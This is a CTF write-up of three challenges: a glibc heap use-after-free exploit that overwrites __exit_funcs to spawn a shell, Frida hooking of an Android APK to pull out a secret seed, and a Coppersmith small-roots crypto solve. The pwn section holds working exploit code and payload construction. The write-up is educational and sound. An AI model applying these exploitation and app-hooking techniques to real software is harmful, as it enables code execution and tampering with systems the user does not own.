I had the privilege of participating in this “by women, for women” CTF organised by Star Labs and completed all 12 challenges :) Overall, I had fun, albeit the challenges were rather beginner-oriented.

Anyhow, below are my writeups.

Pwn — Ho Ho Heap!

☑️ Ho Ho Heap!

Files given: hohoheap, libc.so.6

Analysis

checksec hohoheap
Arch:       amd64
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        PIE enabled
./hohoheap
============= HO HO HEAP =============
1. Add a gift
2. View a gift
3. Modify a gift
4. Remove a gift
5. Ask Santa to send a gift
6. Spread some Christmas cheer!
7. Exit
======================================
Your choice:

Running it, we seem to be dealing with a CRUD style heap challenge with a Debian-based GLIBC 2.41.

💡 Tip

CRUD (Create, Read, Update, Delete) is a common type of heap challenge that involves having those 4 operations as options in a menu. These operations form the backbone of managing persistent storage.

Decompiling the binary in IDA, let’s take a look at each option. Functions and variables were renamed for clarity.

Option 1 is our “create” operation. We have control over the size of our gift (and thus the chunk allocated via malloc). Additionally, a maximum of 0xFF gifts can be allocated. The address of our chunk is stored in the arrayaddr_arr, while the gift size stored in size_arr.

// option 1 (add a gift)
if ( (unsigned __int64)highest_idx <= 0xFF ) {
  printf("Gift size: ");
  scanf("%d", &size);
  if ( size > 0x1FFF )
  {
    puts("Size too big!");
  }
  else
  {
    buf = malloc(size);
    if ( !buf )
      exit(-1);
    addr_arr[highest_idx] = buf;
    size_arr[highest_idx] = size;
    printf("Content: ");
    read(0, buf, size - 1);
    ++highest_idx;
    puts("Success!");
  }
}
else {
  puts("Maximum number of gifts reached");
}

Option 2 is our “read” operation while option 3 is our “update” operation. Neither are particularly notable and they do what you expect.

Decompiled code for options 2 and 3 
// option 2 (view a gift)
case 2LL:
    printf("Gift index: ");
    scanf("%d", &idx);
    if ( idx >= highest_idx )
      goto INVALID_IDX; // puts("Invalid index");
    buf = (void *)addr_arr[idx];
    if ( buf )
    {
      size = size_arr[idx];
      printf("Gift content: ");
      write(1, buf, size - 1);
      puts("Success!");
    }
    else
    {
INVALID_GIFT:
      puts("Gift does not exist");
    }
    break;

// option 3 (modify a gift)
case 3LL:
  printf("Gift index: ");
  scanf("%d", &idx);
  if ( idx >= highest_idx )
  {
INVALID_IDX:
    puts("Invalid index");
  }
  else
  {
    buf = (void *)addr_arr[idx];
    if ( !buf )
      goto INVALID_GIFT;
    size = size_arr[idx];
    printf("Content: ");
    read(0, buf, size - 1);
    puts("Success!");
  }

Next, option 4 is our “delete” operation, which frees a chosen gift. Unfortunately, all array values are zeroed out, meaning we don’t have a use-after-free (UAF) vulnerability here. (I’ll elaborate what UAF is below, don’t worry!)

// option 4 (remove a gift)
case 4LL:
  printf("Gift index: ");
  scanf("%d", &idx);
  if ( idx >= highest_idx )
    goto INVALID_IDX;
  buf = (void *)addr_arr[idx];
  if ( !buf || gift_num_arr[idx] )
  {
    puts("Unable to remove gift");
  }
  else
  {
    free(buf);
    addr_arr[idx] = 0LL;  // everything is zeroed out -> no UAF
    size_arr[idx] = 0;
    gift_num_arr[idx] = 0;
    puts("Success!");
  }

Next, we have 2 rather unique options. First, option 5 lets us specify the number of gifts at an index to send, which updatesgift_num_arr. If the number of gifts to send is non-zero, the gift’s address is stored in to_send_addr_arr.

// option 5 (ask santa to send a gift)
case 5LL:
  printf("Gift index: ");
  scanf("%d", &idx);
  printf("How many gifts to give: ");
  scanf("%d", &gift_num);
  if ( idx >= highest_idx )
    goto INVALID_IDX;
  buf = (void *)addr_arr[idx];
  if ( !buf )
    goto INVALID_GIFT;
  gift_num_arr[idx] += gift_num;
  if ( gift_num_arr[idx] )
    *((_QWORD *)&to_send_addr_arr + idx) = buf;
  puts("Gifts given!");

Option 6 iterates through to_send_addr_arr, sending the gifts. If the number of gifts to send at an index is 0, then the chunk is freed. Else, the count is reset to 0.

// option 6 (spread some Christmas cheer)
case 6LL:
  for ( i = 0; i <= 255; ++i )
  {
    if ( *((_QWORD *)&to_send_addr_arr + i) )
    {
      printf("Gift %d sent! Merry Christmas!\n", i);
      if ( !gift_num_arr[idx] )
        free(*((void **)&to_send_addr_arr + i));
      *((_QWORD *)&to_send_addr_arr + i) = 0LL;
    }
  }

Hmm… if we can free the chunk here (in to_send_addr_arr ), the chunk will still remain in addr_arr, which is used for all the other options. This will give us a UAF vulnerability!

A Quick Segue Into Heap

Since this writeup is intended for beginners, I want to give a quick explanation about how the heap works in GLIBC — feel free to skip this section.

When we execute malloc(size), a chunk of of size rounded up to the next 0x10 will be allocated in the heap. It has the following structure, including 0x10 bytes of metadata about the chunk size.

Credits to pwn.college

When we free a chunk using free(addr), it is sorted into one of glibc’s bins, depending on its size. For my solve, only 2 types of bins is relevant:

  • Tcache: a LIFO linked list, with a pointer to the next chunk.
    • This is for smaller chunks (sizes 0x20-0x410 including chunk metadata)
    • There is a maximum of 7 chunks per size
    • However, GLIBC obfuscates the value of the next pointer using the position (address) of the next pointer (pointer mangling). This will be explained below.
Sample of a tcache chunk in gdb
  • Unsorted bin: a double linked list that only stores one chunk. Chunks are placed here before being sorted into either the small bin or large bin (two other bins I won’t be covering here).
    • The chunk includes a forward and backward pointer, which both points to the libc. This will be how we get our LIBC leak.
Sample of an unsorted bin chunk in gdb

Now, what happens if an attacker has access to a freed chunk? They would be able to edit the next/forward pointers of the chunks. This could lead to control over where the next chunk will be allocated, and subsequently arbitrary read and write. This is the danger of Use-After-Free (UAF).

With that, let’s move on to implementing the exploit.

💡 Left as an exercise for the reader

Refer to the following resources to learn more about the heap:

The Exploit Chain

In this writeup, I will be overwriting__exit_funcs in order to obtain shell. The steps needed is detailed as below:

  1. Get LIBC leak
  2. Get heap leak (to deal with tcache pointer obfuscation)
  3. Overwrite __exit_funcs, which requires an arbitrary write primitive
Helper functions used in my solve script 
def add_gift(size, content=b"AAAA"):
    io.sendlineafter(b'choice:',b'1')
    io.sendlineafter(b'size:',str(size).encode('utf-8'))
    io.sendline(content)

def view_gift(idx):
    io.sendlineafter(b'choice:',b'2')
    io.sendline(str(idx).encode('utf-8'))

def modify_gift(idx, content):
    io.sendlineafter(b'choice:',b'3')
    io.sendline(str(idx).encode('utf-8'))
    io.sendline(content)

def remove_gift(idx):
    io.sendlineafter(b'choice:',b'4')
    io.sendline(str(idx).encode('utf-8'))

def send_gift(idx, num):
    io.sendlineafter(b'choice:',b'5')
    io.sendline(str(idx).encode('utf-8'))
    io.sendline(str(num).encode('utf-8'))

def spread_cheer():
    io.sendlineafter(b'choice:',b'6')

def deobfuscate(val):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val

def obfuscate(p, adr):
    return p^(adr>>12)

Getting UAF

To get option 6 to free our chunk, we need to realise that gift_num is an integer, not an unsigned integer (unlike the other variables). Thus, we can do the following to obtain UAF:

  1. (option 5) Send 1 gift at idx n => chunk address is written into to_send_addr_arr, gift_num=1
  2. (option 5) Send -1 gifts at idx n => gift_num=0
  3. (option 6) Spread xmas cheer, which frees the chunk at idx n. We can still access the chunk from the other options.
# in python
def get_uaf(idx):
    send_gift(idx,1)
    send_gift(idx,-1)
    spread_cheer()

Getting LIBC leak

As mentioned above, I will be using the unsorted bin to get a libc leak. This involves filling up the tcache with a chunk size too large for fastbin, such that the 8th freed chunk will be in the unsorted bin.

After obtaining UAF, simply view the chunk at the appropriate index.

ℹ️ Note

Fastbin is another GLIBC bin. Find more details in the linked heap resource above.

# == GET LIBC LEAK ==
# fill up tcache, so the chunk goes to unsorted bin
# use uaf to get libc leak
for i in range(9):
    add_gift(511)
    print(i)

for i in range(7): # fill up tcache
    remove_gift(i)
    print(i)

get_uaf(7)
view_gift(7)
io.recvuntil(b'content: ')
leak = io.recvline()
libc_leak = int.from_bytes(leak[:8], byteorder='little')
libc.address = libc_leak - (0x155555507d20 - 0x155555320000) 
print('libc:', hex(libc.address))

Getting heap leak

We can perform a similar operation to the above to now get a heap leak.

However, due to pointer mangling, we need to deobfuscate the heap address. This is trivial since pos and ptr are on the same page (i.e. their higher 12 bits are the same).

// pointer mangling
#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

# == GET HEAP LEAK ==
def deobfuscate(val):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val

# allocate chunks (idx 9 - 14)
for i in range(6):
    add_gift(64)

remove_gift(9) 

# uaf of idx 10
get_uaf(10)
view_gift(10)
io.recvuntil(b'content: ')
leak = io.recvlines(1)[0].strip().replace(b'Success!',b'')
HEAP_ADDR = deobfuscate(int.from_bytes(leak[:8], byteorder='little'))
TCACHE_KEY = int.from_bytes(leak[8:16], byteorder='little')

print('heap:',hex(HEAP_ADDR))
print('tcache key:', hex(TCACHE_KEY))

Getting Arbitrary Write

We can extend UAF to get an arbitrary write primitive by overwriting the forward address of the freed chunk to an address we want.

If we allocate 2 chunks (making sure they are the same size as the original chunk), the first chunk will be at the original chunk’s location, while the second chunk will be at our desired address!

Furthermore, since I am using tcache chunks, the heap leak is used for obfuscation of the forward address.

def obfuscate(p, adr):
    return p^(adr>>12)

def aaw(idx, addr, content, size):
    get_uaf(idx) 
    modify_gift(idx,p64(obfuscate(addr, HEAP_ADDR))+p64(TCACHE_KEY)) # modify the freed chunk
    add_gift(size) # chunk is allocated
    add_gift(size, content) # chunk at specified addr is allocated

Overwriting __exit_funcs

ℹ️ Note

My payload is taken from this writeup. Further detail about the exploit is also included inside.

Finally, to obtain shell, we shall overwrite __exit_funcs. __exit_funcs is a linked list of functions to be executed before the program exits. Each function pointer is encrypted by xor-ing with a key, and then rotated to the right by 11 bits.

By default, there is one entry inside, which is the function _dl_fini. Our goal will be to overwrite this function entry (of struct exit_function_list) to instead point to system("/bin/sh") .

How __exit_funcs look in gdb

To do so, we will need to perform 2 write operations:

  1. Overwriting the key to null
  2. Overwriting __exit_funcs to call system(”/bin/sh”)

First, we need the appropriate addresses. These can be found in gdb

_dl_fini = libc.address + (0x155555522c80 - 0x155555320000) # `print _dl_fini`
__exit_funcs = libc.address + (0x155555509000 - 0x155555320000) # `print __exit_funcs`
key_adr = libc.address + (0x15555531d770 - 0x155555320000) # `p/x *(long*)($fs_base+0x30)`

Then, using our arb write primitive, overwrite the key to 0.

# overwrite key to null
aaw(12,key_adr,p64(0),64)

Next, we will forge a fake exit_function_list that calls system("/bin/sh"). This will be written over the _dl_fini entry.

# overwrite __exit_funcs to call system("/bin/sh")
#############  next | count  | type (cxa) | addr | arg | not used
onexit_fun = p64(0) + p64(1) + p64(4) + encrypt(libc.sym['system'], 0) + p64(next(libc.search(b'/bin/sh'))) + p64(0)
aaw(13,__exit_funcs,onexit_fun,64)

Now, when we exit the program (by selecting option 7), we will get shell!

HEX{h0_HO_hooOOoO_h34PS_0f_fuN!}

💡 Tip

Refer to heap-solve.py for the solve script.

Reverse Engineering — Christmas Lottery

☑️ Christmas Lottery

Files given: christmas-lottery.apk

Analysis

We are given an apk. Running it, we are able to enter a lottery ticket code. When submitted, the app authenticates with a backend server before throwing an error for the invalid code.

Let’s open it up in jadx to read the decompiled code. There are largely 3 parts to the main activity. First, the setup. The app signs into the firebase backend and then requests a seed from it.

// sign into the firebase backend
public void signInAnonymouslyAndInitSeed() {
    Task<Object> zza;
    this.mAuth.a();
    FirebaseAuth firebaseAuth = this.mAuth;
    AbstractC0365l abstractC0365l = firebaseAuth.f2530f;
    if (abstractC0365l == null || !abstractC0365l.c()) {
        zza = firebaseAuth.f2529e.zza(firebaseAuth.f2525a, new C0359f(firebaseAuth), firebaseAuth.f2533i);
    } else {
        C0384c c0384c = (C0384c) firebaseAuth.f2530f;
        c0384c.f3844m = false;
        zza = Tasks.forResult(new F(c0384c));
    }
    zza.addOnCompleteListener(this, new q(this, 15));
}

// request secret seed from backend, later stored in this.secretseed
public void requestSeedFromBackend(String str) {
    this.executorService.execute(new RunnableC0314k(8, this, str));
}

When we submit a lottery code, the code will be validated with the backend. A valid ticket code will give us the flag.

// request the backend to validate the ticket code
public void validateTicketCodeWithBackend(String str) {
    AbstractC0365l abstractC0365l = this.mAuth.f2530f;
    if (abstractC0365l == null) {
        Toast.makeText(this, "Not authenticated. Please wait...", 0).show();
    } else {
        FirebaseAuth.getInstance(g.e(((C0384c) abstractC0365l).f3837c)).b(abstractC0365l, false).addOnCompleteListener(new C0291B(this, str));
    }
}

// handle backend server's response
public void handleValidateResponse(B b3, JSONObject jSONObject) {
    try {
        int i3 = b3.f927d;
        if (200 > i3 || i3 >= 300 || !jSONObject.has("flag")) {
            Toast.makeText(this, jSONObject.optString("error", "Invalid ticket code"), 0).show();
            return;
        }
        Toast.makeText(this, "Valid ticket! Flag: " + jSONObject.getString("flag"), 1).show();
    } catch (JSONException e3) {
        throw new RuntimeException(e3);
    }
}

Conveniently in the code is also the function to generate the valid ticket code. this.secretSeed is given by the backend (inrequestSeedFromBackend above during setup).

// checksum function for ticket code
private int calculateChecksum(String str) {
    int i3 = 0;
    **for (char c3 : str.toCharArray()) {
        i3 = (Character.isDigit(c3) ? Character.getNumericValue(c3) : c3 - '@') + i3;
    }
    return i3 % 10;
}

// function to generate the valid ticket code using this.secretseed
private String generateTicketCode() {
    StringBuilder sb = new StringBuilder();
    for (int i3 = 0; i3 < 3; i3++) {
        sb.append("ABCDEFGHJKLMNPQRSTUVWXYZ".charAt((int) ((this.secretSeed >> (i3 * 3)) % 24)));
    }
    sb.append("-");
    for (int i4 = 0; i4 < 4; i4++) {
        sb.append("0123456789".charAt((int) ((this.secretSeed >> ((i4 * 4) + 9)) % 10)));
    }
    sb.append("-");
    for (int i5 = 0; i5 < 2; i5++) {
        sb.append("ABCDEFGHJKLMNPQRSTUVWXYZ".charAt((int) ((this.secretSeed >> ((i5 * 5) + 25)) % 24)));
    }
    sb.append("0123456789".charAt(calculateChecksum(sb.toString().replace("-", "")) % 10));
    return sb.toString();
}

It seems that our goal is to figure out what the secret seed is. This is most easily done by hooking the apk with frida, which can dynamically analyse mobile apps.

Setting Up Frida

Prior to this, I hadn’t actually set up Frida before, so I figured I might as well detail the setup steps here.

  1. Prepare an android emulator

    • I am using Android Studio. Be sure to create a device with the “Android Open Source” service, NOT “Google Play Store”, as it won’t be rooted.

  2. Install Frida on the host computer

pip install frida-tools

  1. Install Frida server on the phone (download here, find the frida-server files)

    • Be sure to pick the correct architecture. For this challenge, I used frida-server-17.5.1-android-x86_64.xz.

  2. Install adb-tools on the host computer (download here)

  3. Set up frida-server on the device

# check that your device is listed here
adb devices -l

# switch to root
adb root

# push frida-server (I renamed frida-server-17.5.1-android-x86_64 to frida-server)
adb push frida-server /data/local/tmp/

# start frida server
adb shell "chmod 755 /data/local/tmp/frida-server" 
adb shell "/data/local/tmp/frida-server &"
  1. Install your apk
    • You could drag and drop the apk into the device to install it too.
adb install christmas-lottery.apk
  1. Use frida-tools
# open to app and check that your app is listed here (in this case, "Christmas Lottery")
frida-ps -Ua

# you may now use frida however you want!

Getting the Seed

Going back to the challenge itself, I hooked frida to the methodvalidateTicketCodeWithBackend, which means that the script runs whenever that function runs.

The script checks the value of this.secretSeedand prints it out. Below is my admittedly Gemini assisted frida script:

Java.perform(function () {
    // Get the target class
    const MainActivity = Java.use('com.christmas.lottery.MainActivity');

    // Hook validateTicketCodeWithBackend
    MainActivity.validateTicketCodeWithBackend.implementation = function (ticketCode) {
        
        // Get this.secretSeed
        const secretSeedField = this.secretSeed.value;
				
		// Print the secretSeed
        if (secretSeedField) {
            console.log(`seed: ${secretSeedField.toString()}`);
        }

        // Have the method proceed normally
        this.validateTicketCodeWithBackend(ticketCode);
    };
});

Running the script, we will get the value of secretSeed.

frida -U -f com.christmas.lottery -l frida_script.js

PS C:\> frida -U -f com.christmas.lottery -l frida_script.js
     ____
    / _  |   Frida 17.5.2 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://frida.re/docs/home/
   . . . .
   . . . .   Connected to Android Emulator 5554 (id=emulator-5554)
Spawned `com.christmas.lottery`. Resuming main thread!
[Android Emulator 5554::com.christmas.lottery ]-> seed: 202672874

I then ran generateTicketCode using the hooked seed. Submitting this as the ticket code yielded the flag!

Lightly modified generateTicketCode

Run with the seed as the first argument.

public class Solve {
    private static int calculateChecksum(String str) {
        int i3 = 0;
        **for (char c3 : str.toCharArray()) {
            i3 = (Character.isDigit(c3) ? Character.getNumericValue(c3) : c3 - '@') + i3;
        }
        return i3 % 10;
    }
    private static String generateTicketCode(long seed) {
        StringBuilder sb = new StringBuilder();
        for (int i3 = 0; i3 < 3; i3++) {
            sb.append("ABCDEFGHJKLMNPQRSTUVWXYZ".charAt((int) ((seed >> (i3 * 3)) % 24)));
        }
        sb.append("-");
        for (int i4 = 0; i4 < 4; i4++) {
            sb.append("0123456789".charAt((int) ((seed >> ((i4 * 4) + 9)) % 10)));
        }
        sb.append("-");
        for (int i5 = 0; i5 < 2; i5++) {
            sb.append("ABCDEFGHJKLMNPQRSTUVWXYZ".charAt((int) ((seed >> ((i5 * 5) + 25)) % 24)));
        }
        sb.append("0123456789".charAt(calculateChecksum(sb.toString().replace("-", "")) % 10));
        System.out.println(sb.toString());
        return sb.toString();
    }
    public static void main(String[] args) {
        Solve.generateTicketCode(Integer.parseInt(args[0]));
    }
}

HEX{Fr1d4_i5_S4nT4s_b3sT_fRi3nD}

💡 Tip

Refer to frida_script.js, Solve.java for the solve script.

Cryptography — Small and Simple Things

☑️ Small and Simple Things

Files given: chal.py

Analysis

We are given the following challenge file:

flag = int(input("Enter flag: ").encode().hex(),16)

N = 0x355ba80ed8f6ed0e3d73f1e8dd90085db632fa60f031cd5b07dafda16d8fc0787af9417481b7d52eb99b531d6d92e85be0bf2993e223c91e0a8676ae619847dba0f80e2777ebc7e90a6dfd6ef0ef5f88a035c1d5ef56c2da799f2c6fb300343dc9c61d64908e7321b250a113fcab8dc777804f31926dfddbfca1ad22b54a3e64fe164bc3b890409c495de3af192a3838521ba6be9e57c71f0e9dcd14cacb454f133b9fa5548a47799305b47f7d54bb678610cbe12fd7a0ef00e0f4918da6ed6b
c = [0x3e568d71880ec0b281944ee7bb02eb2fddd128291d072b0f0b1b7fc6967f7ca959985ea033bf847018776364d4ffdc4b6610d0070563d60086de78e0532fb94d3b370a968080b7f87ac9d175edf5ce455d92068a0965185a679c8c995ccd1b37b58fa6476c555e100d30310f8ef49e66a877747da4fd2cfc00f208741bafdf53b61392a1851af682099689b94a5ec163dd840d81377bbe0db3c6de16deeccd629c19511a90bcfa3c51c08fdc92e6b32a92d6b2291714416966512dffc1e9800a,
     0x9aa3a3c39073307155aade05588c539e2079bcd0dae43092c4ae7479d3073c660f86840e6f4128a766673d2dfa36f7d79575207e1835a5f68ea1856dd5f4d6965b814ca04b962db8c10c13908722176f6658b1a772156ebc490c8bc8b71c5e490e1666613fda97b6c60dfa85b5a7c8c6a11cf3f37d9dbe9c18166067df22072ff64ca975092681906fc7ae328913648cdd8b6108d2608d58f45f7399b986a5a97266e6e81ed09ba6ce3f440fd3561d0ef7e1d758149f608acd7962308ebc416a,
     0x4c357d8139d9951ea48796e145cfa7a09199020cfabf734aaab35a02e8d88cac062349c29790ae30a72ee951d801c392781e9845f2a5d0a8e3e830a026f53b24845b0d272cea249bdd1db72ef520ac5a363df374547e89425d351f394214b6514b4b9bee89279ffa9f1c9d34483be31ae48f6c2f36d4d7a554fe9984f5f7f056faa78dda25c4e848f23a06556d7d319e5e5d6db493ea09ce52ad5a27ac6f9a3b472e6d7e2f6380b1fb4f72cd4017f69114bd7c052b0ffc27de8af4f2dcecc8a6,
     0x5f0cd34ee42c882d372cf1dab7e7049cb2f71a65d3be4c6107e45aaadf21be58e3e716b6fe9a42cb05e8ecd9574654539885bc95a57e2c9722231a04bb0a992d6c923a42cb9e9ea7ccca78ef6ef36b42d1208b15843c43a8793fffd2758a391383ec9272d43acd3dfa32bdb989298e2301b7092807f580882810a174329e6045f5374772fce05f0c73ea85e67b8a42bb0b541c59083d6c104c55d31d2d02cc2862b85d5a636fd11819827792a267fe2239abb332be2ea917dd448476fdd6835b]

enc = sum(i*pow(flag,n,N) for n,i in enumerate(c))%N

if enc == 0x34d45d13a2838e7e1835f747ca74355e4121f45347be4c4e589cb9e626c7be12fe10076d97c78441ed32dbd99fec99d68bb62348d947831ff324a0404c87f730aa2e8fe9c3259c84a10fabd721ae987e6821e24bc8ef079a904186ec8c6be5cbb6c8c83e5a348dc728717ff930c0eb9d4298b1b66a1cf6ffe253873cc19f859fe70af93c5395ba8779ffc8d38b3fba9253d19c0dcc876e88b1bf8aaf0c9ffa000c381a3f875690029a0bef9c9013ead80621158190a55b4cabfefc2bf0c20498:
    print("Congrats! You got the right flag")
else:
    print("Try again")

Basically, our goal will be to solve the following equation:

$$enc = (c[0] + c[1] * (flag\ mod\ n) + c[2]*(flag^2\ mod\ n) + c[3]*(flag^3\ mod\ n))\ mod\ n$$

Additionally, in the challenge title, a hint about “small” is given, hinting towards small roots. As such, we will be using the Coppersmith Method here.

Coppersmith Method

The goal of coppersmith method is to find a different polynomial with smaller coefficients with the same roots. This new polynomial is found using the lattice reduction algorithm (LLL). This polynomial is then solved to obtain the roots.

The attack can only be used if $|x_0| < N^\frac 1 n$, where n is the degree of the polynomial. In this case, since the flag is likely going to be of a much smaller magnitude than N, the Coppersmith attack is likely valid.

Exploit

We will use SageMath’s small_roots function to implement the attack.

First, let’s define the polynomial to solve.

# Polynomial ring of mod N
PR.<x> = PolynomialRing(Zmod(N))
f = c[0] + c[1]*x + c[2]*x^2 + c[3]*x^3 - enc

Then, convert it to a monic polynomial (where the coefficient of the highest degree term is 1). This is required for the attack.

# Make the polynomial monic
f_monic = f.monic()

Implement Coppersmith attack using small_roots , and print out the flag.

ℹ️ Note

I had to adjust the parameters X and epsilon in order for the attack to work.

# Implement Coppersmith attack
roots = f_monic.small_roots(X=2^200, beta=0.5, epsilon=1/50)

if not roots:
    print("No roots found.")
    exit()

# Print out the flag
flag_int = Integer(roots[0])
hex_flag = hex(flag_int)[2:]
flag = bytes.fromhex(hex_flag)
print("Flag:", flag.decode())

💡 Tip

Refer to solve-crypto.sage for the solve script.

HEX{sagemath_is_a_wonderful_and_magical_world}